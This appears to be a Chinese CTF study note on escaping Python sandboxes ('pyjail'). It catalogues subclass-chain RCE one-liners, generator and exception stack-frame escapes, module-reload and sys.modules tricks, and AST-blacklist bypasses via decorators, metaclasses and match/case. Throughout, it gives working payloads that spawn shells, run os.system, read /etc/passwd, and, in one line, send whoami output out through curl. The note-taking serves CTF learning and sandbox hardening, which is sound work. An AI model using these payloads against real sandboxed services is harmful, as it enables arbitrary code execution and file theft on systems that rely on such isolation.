沙箱逃逸
浅浅记一下无处不在的沙箱逃逸
这个东西还是要搭配例题的嗯嗯
沙箱逃逸从入门到放弃
Pyjail
misc手也能学会必须学会的小技巧
先介绍一些不太常规的再介绍常规的吧(密码的现在沙箱哪里还有常规的。。。)
先看一些进行信息收集的函数,信息收集完成后才好确定逃逸方向
神必小帮手
dir()
dir()可以用于查看可用的内置函数
主要是用来找作为利用点的函数
__dict__
一键查属性
m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检测
getattr()
看看你的属性呢,可以引入模块来执行命令,有种opcode的即视感(雾)
getattr(__import__('os'),"system")('whoami')

__getattribute__
对象的内置方法,用于在访问对象的任意对象时自动调用
这是一个低级别的钩子,用于拦截属性访问,可以对其进行重载以自定义属性访问行为。
在调用时,一般都是__getattibute__先被调用,当抛出AttributeError 异常时,__getattr__ 才会被调用。
另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性
__getitem__
__getitem__方法适用于获取元素
当使用obj[key]这样的操作时,python就会自动调用它
这里的key可以是整数索引也可以是其他能当"标签"的键
而你可以用get方法来获得键的值
"破壁"函数
eval(input())
help()
breakpoint()
sh
妙手回春(self builtins)
有时沙箱中会用exec限制你的命名空间
因为exec的第二个参数是可以自定义的,通过修改,删除命名空间里的函数就达到了限制你操作的效果,例子来源于 iscc_2016_pycalc
def _hook_import_(name, *args, **kwargs):
module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
for forbid in module_blacklist:
if name == forbid: # don't let user import these modules
raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
# normal modules can be imported
return __import__(name, *args, **kwargs)
def sandbox_exec(command): # sandbox user input
result = 0
__sandboxed_builtins__ = dict(__builtins__.__dict__)
__sandboxed_builtins__['__import__'] = _hook_import_ # hook import
del __sandboxed_builtins__['open']
_global = {
'__builtins__': __sandboxed_builtins__
}
...
exec command in _global # do calculate in a sandboxed
...
- 沙箱首先获取
__builtins__,然后依据现有的__builtins__来构建命名空间。 - 修改
__import__函数为自定义的_hook_import_ - 删除 open 函数防止文件操作
- exec 命令。
绕过方式:
由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:
__import__('types').__builtins__
__import__('string').__builtins__
继承链(no builtins)
什么?builtins被清光了?没事我有继承链
poc原理和SSTI相似,就是利用父类和子类之间的继承关系,不断访问内部属性来达到调用,实现文件读取或者RCE的效果
前提是没有把attribute给你禁掉,禁掉之后这种方法就行不通了
没禁掉的情况基本无敌吧大概
RCE
# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
# subprocess
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')
# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]
# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())
# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()
File
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")
栈帧逃逸
先了解一些概念吧。
栈帧
生成器
生成器(Generator)是 Python 中一种特殊的迭代器,它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值,并且在每次生成值后保留当前的状态,以便下次调用时可以继续生成值。这使得生成器非常适合处理大型数据集或需要延迟计算的情况。
在 Python 中,生成器可以使用 yield 关键字来定义。yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束。
def f():
a=1
while True:
yield a
a+=1
f=f()
print(next(f)) #1
print(next(f)) #2
print(next(f)) #3
next() 函数在Python中用于获取迭代器的下一个元素
#生成器表达式:
gen_exp = (x * x for x in range(5))
for num in gen_exp:
print(num)
#类似于列表推导式,但使用小括号 () 而不是方括号 [] 来创建生成器表达式
生成器属性
gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。
着重介绍一下 gi_frame 属性
gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。
下面是一个简单的示例,演示了如何使用生成器的 gi_frame 属性来获取生成器的当前帧信息:
def my_generator():
yield 1
yield 2
yield 3
gen = my_generator()
# 获取生成器的当前帧信息
frame = gen.gi_frame
# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
栈帧(frame)
在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。
栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈
生成器栈帧逃逸
原理其实就是生成器的栈帧对象通过f_back不断返回前一帧从而去获取globals全局符号表
s3cret="this is flag"
def f():
yield g.gi_frame.f_back.f_back.f_back
g = f().gi_frame #生成器
print("Local Variables:", g.f_globals)
在这里其实就可以看到成功逃出

而查看locals时就会发现是空列表

模拟一下沙箱的操作
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])
#使用next获取到的就是yield定义的值,这里获取到的就是g.gi_frame.f_back
#使用g.gi_frame.f_back的话,那么g = f()就必须为g,用的就是这个生成器对象的栈帧
#compile(codes, "test", "exec")就是设置了名称为test的python沙箱环境
运行得到 this is flag ,成功逃逸出沙箱获取到s3cret变量值
这里也可以使用f_locals去代替f_globals效果是相同的,但是要注意,locals返回的是局部符号表,它包含了在当前函数或方法内部定义的变量。这些局部变量只在当前函数或方法的执行过程中存在,并且只能在该函数或方法内部访问。当函数执行完毕后,这些局部变量就会被销毁。
怎么用呢,可以用来配合修改函数;也可以拿_globals反打rce
2024L3HCTF 打int函数返回值 参考链接:https://xz.aliyun.com/news/13075
异常栈帧逃逸
通过主动抛出异常+抓抛出错误的栈帧来逃逸沙箱
给一串简单的实例:
try:
1/0
except Exception as e:
frame=e.__traceback__.tb_frame
builtins=frame.f_globals['__builtins__']
builtins.__import__('os').system('whoami')

可以看到成功执行了。
异步栈帧逃逸
async def a():
pass
a().cr_frame.f_globals
变量覆盖与函数篡改
优雅啊,很优雅啊。。
这里简单一些的就是给出blacklist但是是可控的,可以直接改变量然后直接执行命令就可以了
在 Python 中,sys 模块提供了许多与 Python 解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取 sys 模块就可以达到变量覆盖与函数擦篡改的目的.
sys.modules 存放了现有模块的引用, 通过访问 sys.modules['__main__'] 就可以访问当当前模块定义的所有函数以及全局变量
>>> aaa = 'bbb'
>>> def my_input():
... dict_global = dict()
... while True:
... try:
... input_data = input("> ")
... except EOFError:
... print()
... break
... except KeyboardInterrupt:
... print('bye~~')
... continue
... if input_data == '':
... continue
... try:
... complie_code = compile(input_data, '<string>', 'single')
... except SyntaxError as err:
... print(err)
... continue
... try:
... exec(complie_code, dict_global)
... except Exception as err:
... print(err)
...
>>> import sys
>>> sys.modules['__main__']
<module '__main__' (built-in)>
>>> dir(sys.modules['__main__'])
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'aaa', 'my_input', 'sys']
>>> sys.modules['__main__'].aaa
'bbb'
除了通过 sys 模块来获取当前模块的变量以及函数外,还可以通过 __builtins__篡改内置函数等,这只是一个思路.
总体来说,只要获取了某个函数或者变量就可以篡改, 难点就在于获取.
利用 gc 获取已删除模块
这个思路来源于 writeup by fab1ano – github
这道题的目标是覆盖 __main__ 中的 __exit 函数,但是题目将 sys.modules['__main__'] 删除了,无法直接获取.
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]
gc 是Python的内置模块,全名为”garbage collector”,中文译为”垃圾回收”。gc 模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。
Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc 模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。
下面是一些 gc 模块中的主要函数:
gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过generation参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects():这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs):这个函数会返回指向objs中任何一个对象的对象列表。
exp 如下
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")
在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.
利用 traceback 获取模块
这个思路来源于 writeup by hstocks – github
主动抛出异常, 并获取其后要执行的代码, 然后将__exit 进行替换, 思路也是十分巧妙.
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back
# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want
os.system('cat /flag*')
但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame 会触发 object.__getattr__ hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本)中适用
模块重载(原module被篡改)
为什么要重载呢?因为目标模块/方法在一开始就被删除/覆盖了,但是通过一些手段,就可以重新加载这些模块
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
reload 重新加载
reload函数在不同版本中的位置不同
Python 2.x
>>>reload(module)
Python 2.x-3.3
>>>import imp
>>>impo.reload(module)
Python 3.4-latest
>>>import importlib
>>>importlib.reload(module)
reload 函数可以重新加载模块,这样被删除的函数能被重新加载
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>
在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。
貌似新版本的 python 即使运行了 importlib.reload 也无法恢复了。
>>> importlib.reload(__builtins__)
<module 'builtins' (built-in)>
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
恢复 sys.modules
一些过滤中可能将 sys.modules['os'] 进行修改. 这个时候即使将 os 模块导入进来,也是无法使用的.
>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess
>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
class Popen(object):
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'
由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可.
sys.modules['os'] = 'not allowed' # oj 为你加的
del sys.modules['os']
import os
os.system('ls')
globals()
有些时候沙箱会设置
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
来覆盖内置函数,限制函数的使用。
但是builtins是一个不可变的模块对象,这样修改仅能够在当前的作用域中生效,而 globals() 中存放了 builtins 模块的索引,因此可以通过下面的方式获取到原始的方法。
globals()["__builtins__"]['breakpoint']
但是题目如果使用了下面的方式来删除,那就没有办法了,即使 reload 重新导入 builtins 模块,较新版本的 python 中也无法恢复。
del globals()["__builtins__"].breakpoint
AST
AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
下面的 without call 来源于 hacktricks
without call
如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.
装饰器
利用 payload 如下,乍一看可能有些迷惑,但该 payload 实际上等效于 exec(input(X))
@exec
@input
class X:
pass
当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.
>>> @exec
... @input
... class X:
... pass
...
<class '__main__.X'>__import__("os").system("ls")
由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.
其实这样的话,构造其实可以有很多,比如使用单层的装饰器,打开 help 函数.
@help
class X:
pass
这样可以直接进入帮助文档:
Help on class X in module __main__:
class X(builtins.object)
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
(END)
再次输入 !sh 即可打开 /bin/sh
或是给装饰器加一些参数。
import os
def fake_wrapper(f):
return '/bin/sh'
@getattr(os,"system")
@fake_wrapper
def something():
pass
相当于:
getattr(os,"system")(fake_wrapper(something))
亦或者自定义一个装饰器:
import os
def fake_wrapper(f):
return '/bin/sh'
@os.system
@fake_wrapper
def something():
pass
相当于 os.system(fake_wrapper(something)),也就是 os.system(‘/bin/sh’)
函数覆盖
我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:
>>> class A:
... __getitem__ = exec
...
>>> A()['__import__("os").system("ls")']
但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?
metaclass 利用
Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。
元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。
下面是基于元类的 payload, 在不使用构造函数的情况下触发
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os; os.system("sh")']
除了 __getitem__ 之外其他方法的利用方式如下:
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
示例:
class Metaclass(type):
__sub__ = exec
class Sub(metaclass=Metaclass):
pass
Sub-'import os; os.system("sh")'
exceptions 利用
利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec
raise RCE
raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.
当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0
这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如traceback 模块),导入时就会触发 __import__.
通过 license 函数读取文件
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.
>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']
payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:
class MyContext:
pass
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
打印 AST
import os
import ast
BAD_ATS = {
ast.Attribute,
ast.AST,
ast.Subscript,
ast.comprehension,
ast.Delete,
ast.Try,
ast.For,
ast.ExceptHandler,
ast.With,
ast.Import,
ast.ImportFrom,
ast.Assign,
ast.AnnAssign,
ast.Constant,
ast.ClassDef,
ast.AsyncFunctionDef,
}
a = '''
[
system:=111,
bash:=222
]
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))
for x in ast.walk(compile(a, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
if type(x) in BAD_ATS:
print(type(x))
exit()
print("[+] OK")
绕过 ast.Attribute 获取属性
如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。
最简单的示例,匹配字符串:
item = 2
match item:
case 1:
print("One")
case 2:
print("Two")
# Two
还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。
item = (1, 2)
match item:
case (x, y, z):
print(f"{x} {y} {z}")
case (x, y):
print(f"{x} {y}")
case (x,):
print(f"{x}")
对于基本类型的匹配比较好理解,下面是一个匹配类的示例:
class AClass:
def __init__(self, value):
self.thing = value
item = AClass(32)
match item:
case AClass(thing=x):
print(f"Got {x = }!")
# Got x = 32!
在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。
这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,可以编写如下的 match/case 语句:
match str():
case str(__class__=x):
print(x==''.__class__)
# True
可以看到 x 就是 ''.__class__. 因为所有的类都输入 object 类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。
match str():
case object(__class__=x):
print(x==''.__class__)
# True
再测试一下该 payload 的 AST:
import os
import ast
a = '''
match str():
case str(__class__=x):
print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))
AST 如下:
Module(
body=[
Match(
subject=Call(
func=Name(id='str', ctx=Load()),
args=[],
keywords=[]),
cases=[
match_case(
pattern=MatchClass(
cls=Name(id='str', ctx=Load()),
patterns=[],
kwd_attrs=[
'__class__'],
kwd_patterns=[
MatchAs(name='x')]),
body=[
Expr(
value=Call(
func=Name(id='print', ctx=Load()),
args=[
Name(id='x', ctx=Load())],
keywords=[]))])])],
type_ignores=[])
可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute
我们可以构造替代 ''.__class__.__base__.__subclasses__()的 payload:
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz)
绕过 ast.Assign 赋值变量
ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式进行绕过。例如:
[
system:=111,
bash:=222
]
此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign
Module(
body=[
Expr(
value=List(
elts=[
NamedExpr(
target=Name(id='system', ctx=Store()),
value=Constant(value=111)),
NamedExpr(
target=Name(id='bash', ctx=Store()),
value=Constant(value=222))],
ctx=Load()))],
type_ignores=[])
绕过 ast.Constant 获取数字、字符串
题目限制了 ast.Constant,所以无法直接使用数字、字符串常量,但通过其他的函数组合可以构造出数字和字符串。 例如:
"" : str()
0 : len([])
"0": str(len([]))
"1": str(len([str()])) 或 str(len([min]))
"2": str(len([str(),str()])) 或 str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))
如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但也可以自己手动实现一个 chr。
当然,题目 builtins 允许 dict 和 list,因此可以直接用这两个函数直接构造出字符串,这种方式在我此前的博客:pyjail bypass-02 绕过基于字符串匹配的过滤 中有提到过。
在这个 payload 中,需要构造出 _wrap_close、system、bash
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")
那么就可以通过下面的方式获取到这几个字符串:
list(dict(system=[]))[0] # system
list(dict(_wrap_close=[]))[0] # _wrap_close
list(dict(bash=[]))[0] # bash
绕过 ast.Subscript 获取列表/字典元素
题目同时限定了 ast.Subscript,因此无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。
min(list(dict(system=[]))) # system
min(list(dict(_wrap_close=[]))) # _wrap_close
min(list(dict(bash=[]))) # bash
如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。
match globals:
case object(get=get_func):
get_func("system")
绕过 ast.For 遍历列表
在构造最终 payload 中,我们还需要在 __subclasses__()得到的列表中获取到 _wrap_close 类。
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")
当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时可以使用 filter,如下所示:
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]
fitler 中使用 match/case 和 if 来进行过滤。
除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。
绕过ast.GeneratorExp获取生成器栈帧
思路来自于 [DiceCTF 2024] IRS
payload 如下,且 AST 中不会出现 ast.GeneratorExp。
def f():
global x, frame
frame = x.gi_frame.f_back.f_back
yield
x = f()
x.send(None)
print(frame)
如何理解这段代码:
- 首先声明了一个生成器 f,
- f 内部声明了全局变量 x 和 frame,意味着会在函数外部对其进行操作。
- x = f() 会实例化一个生成器,但由于生成器的延迟加载,此时生成器不会执行。
- x.send(None):这行代码启动了生成器,并让它执行到第一个 yield 语句。
测试代码如下:
import ast
flag = "flag{12345}"
code = '''
def f():
global x, frame
frame = x.gi_frame.f_back.f_back
yield
x = f()
x.send(None)
print(frame.f_globals)
'''
print(ast.dump(ast.parse(code, mode='exec'), indent=4))
root = ast.parse(code)
compiled_code = compile(code,"<sandbox>", "exec")
# 又是一段严防死守的过滤
exec(
compiled_code,
None, # globals,也可能是其他值
None # locals,也可能是其他值
)
OPcode
见过pickle的大概都知道OPcode是个什么东西
